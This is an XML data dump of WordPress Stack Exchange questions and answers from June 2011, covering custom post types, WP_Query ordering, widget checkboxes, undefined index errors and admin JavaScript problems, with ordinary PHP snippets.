  <row Id="20810" PostTypeId="2" ParentId="20804" CreationDate="2011-06-23T09:58:43.610" Score="2" ViewCount="" Body="&lt;p&gt;you can add a custom field to each listing post with the user's role and then in your query you can order by that field, for example say you have a custom field named `u_role' then your query should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_role_query = new WP_Query( array(&#xA;'author' =&amp;gt; implode( ',', $custom_ids ), &#xA;'post_type' =&amp;gt; 'listing', &#xA;'posts_per_page' =&amp;gt; 10, &#xA;'paged' =&amp;gt; get_query_var('paged'),&#xA;'meta_key' =&amp;gt; 'u_role',&#xA;'orderby' =&amp;gt; 'meta_value', &#xA;'order' =&amp;gt; 'DESC',  ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-23T09:58:43.610" CommentCount="2" />
  <row Id="20812" PostTypeId="1" CreationDate="2011-06-23T10:00:33.227" Score="0" ViewCount="65" Body="&lt;p&gt;all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i create a widget plugin, here i have problem the checkbox problem, dont have save the value, then i search form Net, and found the answer, but now i dont have understand the means of &lt;code&gt;(bool)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'post_date' ); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'post_date' ); ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'post_date' ); ?&amp;gt;&quot;  &amp;lt;?php checked( (bool) $instance['post_date'], true ); ?&amp;gt; /&amp;gt;&#xA;    &amp;lt;?php _e( 'Show post date' ); ?&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5456" LastActivityDate="2011-08-19T03:28:15.753" Title="Wordpress widget value not save?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="20814" PostTypeId="2" ParentId="20784" CreationDate="2011-06-23T10:06:30.147" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $query_string;&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$custom_query = new WP_Query( array( 'post_type' =&amp;gt; 'listing', 'posts_per_page' =&amp;gt; 10, 'paged' =&amp;gt; $paged ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add the code &lt;code&gt;$paged =...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-23T10:11:30.267" LastActivityDate="2011-06-23T10:11:30.267" CommentCount="1" />
  <row Id="20815" PostTypeId="1" AcceptedAnswerId="20817" CreationDate="2011-06-23T10:14:20.500" Score="3" ViewCount="119" Body="&lt;p&gt;Right, I'm banging my head against a wall here. I'm sure it's something incredibly simple but I keep getting undefined index errors on all of these variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function meta_genus_species() {&#xA;    global $post;&#xA;&#xA;    if (isset($post)) {&#xA;        $custom = get_post_custom($post-&amp;gt;ID);&#xA;    }&#xA;&#xA;    if (isset($custom)) {&#xA;        $genus = $custom[&quot;genus&quot;][0];&#xA;        $species = $custom[&quot;species&quot;][0];&#xA;        $etymology = $custom[&quot;etymology&quot;][0];&#xA;        $family = $custom[&quot;family&quot;][0];&#xA;        $common_names = $custom[&quot;common_names&quot;][0];&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;label&amp;gt;Genus:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;genus&quot; value=&quot;&amp;lt;?php if(isset($genus)) { echo $genus; } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Species:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;species&quot; value=&quot;&amp;lt;?php if(isset($species)) { echo $species; } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Etymology:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;etymology&quot;&amp;gt;&amp;lt;?php if(isset($etymology)) { echo $etymology; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;label&amp;gt;Family:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;family&quot; value=&quot;&amp;lt;?php if(isset($family)) { echo $family; } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Common Names:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;common_names&quot; value=&quot;&amp;lt;?php if(isset($common_names)) { echo $common_names; } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this for every variable:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined index: genus in [...]sf-species-profiles.php on line 207&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-06-23T14:10:00.767" Title="Why on Earth am I getting &quot;undefined_index&quot; errors?" Tags="&lt;errors&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="20816" PostTypeId="2" ParentId="20776" CreationDate="2011-06-23T10:22:08.887" Score="0" ViewCount="" Body="&lt;p&gt;I think this is a custom code job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here is the query logic I'd use to build this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;do a get_terms() for your custom taxonomy.&lt;/li&gt;&#xA;&lt;li&gt;Loop through each term&lt;/li&gt;&#xA;&lt;li&gt;Inside loop do a query_posts() for posts with that taxonomy excluding previous post ID's and limiting the return to 10.&lt;/li&gt;&#xA;&lt;li&gt;If 10 posts are return then show tax title and then list the ten posts titles using the_title() and the_permalink().&lt;/li&gt;&#xA;&lt;li&gt;Make sure you have a variable that holds post ID of displayed posts so to exclude them on the next tax.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you need help with code for any of those bits then leave a comment and I'll be sure to add to my answer.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T10:22:08.887" />
  <row Id="20817" PostTypeId="2" ParentId="20815" CreationDate="2011-06-23T10:23:26.203" Score="5" ViewCount="" Body="&lt;p&gt;It's a common PHP error, usually when you try to access an array member with a non-existent key;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array( 'hello' =&amp;gt; 'world' );&#xA;echo $array['foobar']; // undefined index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should check for the key first with &lt;code&gt;isset( $array['foobar'] );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; In this case, I would chuck in a loop that sets-up the variables for you, checking for the index in the process.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( array( 'genus', 'species', 'etymology', 'family', 'common_names' ) as $var )&#xA;    $$var = isset( $custom[ $var ][0] ) ? $custom[ $var ][0] : '';&#xA;&#xA;echo $genus; // prints value of $custom['genus'][0] if set, otherwise empty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-23T11:51:23.743" LastActivityDate="2011-06-23T11:51:23.743" CommentCount="3" />
  <row Id="20818" PostTypeId="1" CreationDate="2011-06-23T05:21:59.207" Score="1" ViewCount="48" Body="&lt;p&gt;how to add three default images to wordpress &lt;strong&gt;custom background&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fNCQ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, i want to add  three default images which can be selected one by the user.and it locates on the &lt;strong&gt;upload Image&lt;/strong&gt; part.like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the default background image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/CMlwd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do i do  thank you.&lt;/p&gt;&#xA;" LastActivityDate="2011-09-03T17:27:50.937" Title="how to add three default images to wordpress?" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="20819" PostTypeId="1" CreationDate="2011-06-23T07:32:30.327" Score="1" ViewCount="100" Body="&lt;p&gt;I am using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu($args); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for get menu from wordpress.it returns the menus with &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; structure. In that i need to set class name for every &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag uniquely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks ravi&lt;/p&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="3293" LastEditorDisplayName="" LastEditDate="2011-06-23T13:50:52.567" LastActivityDate="2011-06-23T13:50:52.567" Title="How to set classname for &lt;li&gt; tag in wordpress menu?" Tags="&lt;menus&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="20820" PostTypeId="2" ParentId="20819" CreationDate="2011-06-23T08:38:02.527" Score="1" ViewCount="" Body="&lt;p&gt;This should help you out buddy - &lt;a href=&quot;http://wpveda.com/add-custom-classes-wpnavmenu-condition/&quot; rel=&quot;nofollow&quot;&gt;http://wpveda.com/add-custom-classes-wpnavmenu-condition/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2011-06-23T08:38:02.527" />
  <row Id="20821" PostTypeId="2" ParentId="20807" CreationDate="2011-06-23T10:41:06.840" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way of doing this is to use a slightly undocumented feature of twitter's search - you can pull an Atom feed for any search query (which includes hashtags), and then use FeedWordPress to generate posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample Twitter search query that returns Atom (which is is an alternative to RSS and works in the same way):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://search.twitter.com/search.atom?q=%23cricket&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;FeedWordPress&lt;/a&gt; to create posts in whatever category you want from the twitter hashtag feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a category do the following: &lt;a href=&quot;http://feedwordpress.radgeek.com/wiki/how-do-i-add-category-or-tag-posts-particular-feed&quot; rel=&quot;nofollow&quot;&gt;(from the FeedWordPress FAQ)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Log in to your WordPress Dashboard using your administrator username and password.&lt;/li&gt;&#xA;&lt;li&gt;Go to the FeedWordPress administrative interface by clicking through to the Syndication page.&lt;/li&gt;&#xA;&lt;li&gt;Pull up the Categories &amp;amp; Tags settings page for the feed whose posts you want to apply the category or tags to. The easiest way to do this is to go to the &quot;Syndicated sources&quot; table and hover your mouse over the source that you want to work with. Several options should appear underneath; click on &quot;Settings &gt; Categories &amp;amp; Tags.&quot;&lt;/li&gt;&#xA;&lt;li&gt;To add one or more categories to any posts that come in from this feed, scroll down to the Categories box on the Categories &amp;amp; Tags Settings page, There should be a selection box marked &quot;All posts: Give all posts from this feed these categories.&quot; You can check whatever category or categories you want. To add one or more tags to any posts that come in from this feed, scroll down past the Categories box to the Tags box; there should be a text box marked &quot;Tag all posts from this feed as...&quot; Type in one or more tags, separated by commas, and mash the &quot;Add&quot; button to apply them.&lt;/li&gt;&#xA;&lt;li&gt;When you've finished adding Categories and Tags, mash the &quot;Save Changes&quot; button at the bottom of the page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-06-26T07:50:53.233" LastActivityDate="2011-06-26T07:50:53.233" CommentCount="3" />
  <row Id="20823" PostTypeId="1" CreationDate="2011-06-23T11:12:46.910" Score="0" ViewCount="50" Body="&lt;p&gt;I am trying to create a site using the graph paper press theme of 'full screen'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However i want to link the featured images to different locations/address and in some cases remove the links completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the site in question: www.touringmagazine.co.uk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how i can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick&lt;/p&gt;&#xA;" OwnerUserId="6437" LastActivityDate="2011-06-23T11:12:46.910" Title="Want to remove/edit links on featured images" Tags="&lt;image&gt;&lt;removal&gt;" CommentCount="4" />
  <row Id="20824" PostTypeId="1" CreationDate="2011-06-23T11:17:32.163" Score="0" ViewCount="103" Body="&lt;p&gt;I'm using wordpress version 3.1 and if I try to upgrade any plugin on any of my sites I get the error message &lt;code&gt;error: An Unexpected HTTP Error occurred during the API request&lt;/code&gt;. Not by upgrading automatically, but manually upgrading through the dashboard plugin area I guess I mean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've google for a solutions, to no avail. I've gone into my &lt;code&gt;class-http.php&lt;/code&gt; file and changed this code  &lt;code&gt;'timeout' =&amp;gt; apply_filters( 'http_request_timeout', 5)&lt;/code&gt;, to  &lt;code&gt;'timeout' =&amp;gt; apply_filters( 'http_request_timeout', 30)&lt;/code&gt;, Also tried request time out at 60. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also downloaded Core Control Plugin, went into External HTTP Access and disabled each of those 4 PHP HTTP Extension/Transport options one by one and still same problem.&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-24T03:23:39.150" LastActivityDate="2011-08-23T16:02:20.977" Title="error: An Unexpected HTTP Error occurred during the API request" Tags="&lt;errors&gt;&lt;upgrade&gt;&lt;core&gt;" AnswerCount="2" />
  <row Id="20825" PostTypeId="2" ParentId="20789" CreationDate="2011-06-23T11:36:26.593" Score="1" ViewCount="" Body="&lt;p&gt;for some reason, you already have a counter variable in the loop; if this is not used for other purposes, simply echo it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $count.'.'; ?&amp;gt; /// Post Content Goes Here // &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-23T11:36:26.593" />
  <row Id="20827" PostTypeId="2" ParentId="20784" CreationDate="2011-06-23T11:39:49.210" Score="2" ViewCount="" Body="&lt;p&gt;see: &lt;a href=&quot;http://scribu.net/wordpress/wp-pagenavi/wpn-2-74.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/wp-pagenavi/wpn-2-74.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-23T11:39:49.210" CommentCount="1" />
  <row Id="20828" PostTypeId="1" CreationDate="2011-06-23T11:40:05.483" Score="0" ViewCount="80" Body="&lt;p&gt;I'm a newbie in custom post type. and so far I've been able to customize list of post (&lt;code&gt;archive.php&lt;/code&gt; or &lt;code&gt;archive-xxx.php&lt;/code&gt;), and link to individual post (&lt;code&gt;single.php&lt;/code&gt; or &lt;code&gt;single-xxx.php&lt;/code&gt;). All these works good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when retrieving tag list or list of post of a specific tag, it uses archive.php and list all posts under the specific custom post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[question]&#xA;How can I fetch list of all tags for this post_type, with posts underneath each tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;tag1&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp; post 1&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp; post 2&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6428" LastEditorUserId="6428" LastEditorDisplayName="" LastEditDate="2011-06-23T12:26:58.953" LastActivityDate="2011-08-23T05:33:39.120" Title="custom post type tag lists and link to post" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20829" PostTypeId="1" AcceptedAnswerId="20832" CreationDate="2011-06-23T11:41:20.630" Score="1" ViewCount="30" Body="&lt;p&gt;I created custom post-types in my site but these posts are not shown in the RSS. Only the regular posts appear there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be preventing them from showing up there&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2011-06-23T12:02:50.053" Title="custom post types don't appear in RSS" Tags="&lt;custom-post-types&gt;&lt;rss&gt;&lt;post-type&gt;" AnswerCount="1" />
  <row Id="20830" PostTypeId="1" AcceptedAnswerId="20846" CreationDate="2011-06-23T11:52:18.107" Score="1" ViewCount="50" Body="&lt;p&gt;I am looking for plugin to sort posts by alphabetic orders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sort: A-Z Z-A Newest Oldest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &#xA;option to view per page like in stake exchange websites&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Per Page: 20 40 60 All&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if not exists, can i do this in &lt;strong&gt;query post&lt;/strong&gt;(How ?)&#xA;Please suggest me !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks  &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-06-23T14:07:57.297" Title="sort posts by alphabetic plugin suggestion" Tags="&lt;plugin-recommendation&gt;&lt;query-posts&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="20831" PostTypeId="2" ParentId="20725" CreationDate="2011-06-23T11:57:40.067" Score="2" ViewCount="" Body="&lt;p&gt;Ok, here are some pointers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;never run any meaningful code right from plugin body (especially don't start queuing jQuery &lt;strong&gt;everywhere&lt;/strong&gt; like you do - that's asking for trouble), always do it at appropriate hooks;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;learn how to use &lt;code&gt;$default&lt;/code&gt; argument in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_option()&lt;/code&gt;&lt;/a&gt; will save you a lot of typing there;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;learn how to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt; for reliable URL building to files;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;learn &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/submit_button&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;submit_button()&lt;/code&gt;&lt;/a&gt;, not critical but nifty;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;consider storing options in single array;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you use options you should implement uninstall to delete them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T11:57:40.067" CommentCount="3" />
  <row Id="20832" PostTypeId="2" ParentId="20829" CreationDate="2011-06-23T12:02:50.053" Score="3" ViewCount="" Body="&lt;p&gt;They don't normally show there&#xA;That is how they are supposed to work.&#xA;Each CPT has a feed of it's own by default&#xA;Everything in WP has a feed it seems!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want them in your main feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this can go in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ADDS POST TYPES TO RSS FEED&#xA;function myfeed_request($qv) {&#xA;    if (isset($qv['feed']) &amp;amp;&amp;amp; !isset($qv['post_type']))&#xA;        $qv['post_type'] = array('ve_products', 'post');&#xA;    return $qv;&#xA;}&#xA;add_filter('request', 'myfeed_request');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$qv['post_type'] = array('ve_products', 'post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That includes normal posts and my CPT of ve_products in my main feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would swap out that for your CPT, if you have more CPTs, add them into that array&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-23T12:02:50.053" />
  <row Id="20833" PostTypeId="1" CreationDate="2011-06-23T12:11:38.637" Score="1" ViewCount="39" Body="&lt;p&gt;i am new to wordpress so you can except a lot insane coding below. What i want is to give one option in the adminpanel of wordpress to my client under the Pages-&gt;MergeImage. when the client will click on MergeImage option appearing under the Pages Widget i want to display him my custom form . To achieve all the above i followed the codex and ended up creating a plugin. below is the code for my plugin. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'my_plugin_menu');&#xA;&#xA;function my_plugin_menu() {&#xA;    add_options_page('My Plugin Options', 'My Plugin', 'manage_options', 'my-unique-identifier', 'my_plugin_options');&#xA;}&#xA;&#xA;function my_plugin_options() {&#xA;    if (!current_user_can('manage_options'))  {&#xA;        wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;    }&#xA;    echo '&amp;lt;div class=&quot;wrap&quot;&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt;Here is where the form would go if I actually had options.&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is nothing else in this single index.php file inside the ImageMerger folder. &#xA;When i activate the plugin i receive no errors but also dont see any menu. The below code is copy paste from the codex. So there shouldn't be any thing wrong with the code i think it must be some thing to add more into it which i am missing and i didn't find any good tutorial on wordpress to achieve this task. Please tell me what else is required ?&lt;/p&gt;&#xA;" OwnerUserId="5334" LastActivityDate="2011-06-23T14:53:25.220" Title="why my menu is not appearing on the admin panel" Tags="&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="20834" PostTypeId="1" AcceptedAnswerId="20836" CreationDate="2011-06-23T12:27:56.000" Score="0" ViewCount="105" Body="&lt;p&gt;I can't get the user variable from the main class loading a &quot;child class&quot; example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//PLUGIN FILE&#xA;class father{&#xA;&#xA;    var $user;&#xA;&#xA;    function __construct() {&#xA;        add_action('plugins_loaded', array(&amp;amp;$this, 'loaded'));&#xA;    }&#xA;&#xA;    function plugins_loaded(){&#xA;        global $wp_get_current_user;&#xA;        $this-&amp;gt;user = wp_get_current_user();&#xA;    }&#xA;}&#xA;&#xA;$plugin = new parent();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was the plugin file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//EXTEND CLASS&#xA;class child extends father{&#xA;&#xA;    function __construct(){&#xA;        parent::__construct();&#xA;    }&#xA;&#xA;    function user_id(){&#xA;        echo $this-&amp;gt;user-&amp;gt;ID;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was the extend class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//CONFIG FILE (DISPLAYED IN ADMIN PANEL)&#xA;$child = new child();&#xA;$user_id = $child-&amp;gt;user-&amp;gt;id;&#xA;$child-&amp;gt;user_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that was the config page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get the user id in the extended class, but yes in the father class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why and how i can solve it?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="6441" LastEditorDisplayName="" LastEditDate="2011-06-23T13:59:01.867" LastActivityDate="2011-06-23T14:18:44.607" Title="Extend a class plugin" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20835" PostTypeId="1" CreationDate="2011-06-23T12:38:10.567" Score="1" ViewCount="106" Body="&lt;p&gt;It seems that none of the javascript is working when I log into the admin section of my site. I cannot do anything that requires javascript or AJAX : Nextgen thumbnails, Widget organisation, even the admin menu doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript in the front end of the site works as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in firebug for the scripts and found this (obviously loaded in the footer):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://kainielsen.web44.net/wp-admin/load-scripts.php?c=1&amp;amp;load=jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-sortable,hoverIntent,common,jquery-color,wp-ajax-response,wp-lists,jquery-ui-resizable,quicktags,jquery-query,admin-comments,postbox,dashboard,thickbox,plugin-install,media-upload&amp;amp;ver=e0f647a6df61adcc7200ce17a647db7f&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some way wordpress seems to be trying to load all the scripts at once. Could it be this that is causing the malfunction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal Wordpress behaviour? Or could it have come about because I was using W 3 Total Cache ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ultimate question is that if loading everything at once is the cause, How do I undo it?&lt;/p&gt;&#xA;" OwnerUserId="5232" LastActivityDate="2011-06-23T13:02:32.477" Title="Javascript not working in admin" Tags="&lt;admin&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="20836" PostTypeId="2" ParentId="20834" CreationDate="2011-06-23T12:49:06.973" Score="0" ViewCount="" Body="&lt;p&gt;This works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class father {&#xA;    var $user;&#xA;    function __construct() {&#xA;        add_action( 'init', array( &amp;amp;$this, 'set_user' ) );&#xA;    }&#xA;    function set_user() {&#xA;        $this-&amp;gt;user = wp_get_current_user();&#xA;    }&#xA;}&#xA;&#xA;class child extends father {&#xA;    function __construct() {&#xA;        parent::__construct();&#xA;    }&#xA;    function user_id(){&#xA;        return $this-&amp;gt;user-&amp;gt;ID;&#xA;    }&#xA;}&#xA;&#xA;$father = new father();&#xA;$child = new child();&#xA;&#xA;add_action( 'admin_notices', 'test_stuff' );&#xA;function test_stuff() {&#xA;    global $child;&#xA;    print '&amp;lt;pre&amp;gt;Child: ' . print_r( $child-&amp;gt;user_id(), true ) . '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-06-23T14:18:44.607" LastActivityDate="2011-06-23T14:18:44.607" CommentCount="5" />
  <row Id="20837" PostTypeId="1" CreationDate="2011-06-23T12:50:09.290" Score="0" ViewCount="115" Body="&lt;p&gt;I am using &lt;strong&gt;wp_get_attachment_link&lt;/strong&gt; to get a uploaded image.when get this it shows&#xA;attachment url in anchor. But i want to change to single post url.I tried many thinks nothing helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it always gives attachment url like bellow&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?attachment_id=43 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i change it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-08-24T15:55:07.933" Title="change attachment url to post url in wp_get_attachment_link" Tags="&lt;functions&gt;&lt;attachments&gt;&lt;hooks&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="20838" PostTypeId="2" ParentId="20835" CreationDate="2011-06-23T12:56:56.003" Score="1" ViewCount="" Body="&lt;p&gt;Most likely, you have a misbehaving plugin. Try disabling all plugins, then see if the problem goes away. If so, then begin narrowing down which plugin causes the interference. If the problem does not go away with all plugins disabled, also try switching your theme to the default to see if it was the problem.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-23T12:56:56.003" CommentCount="3" />
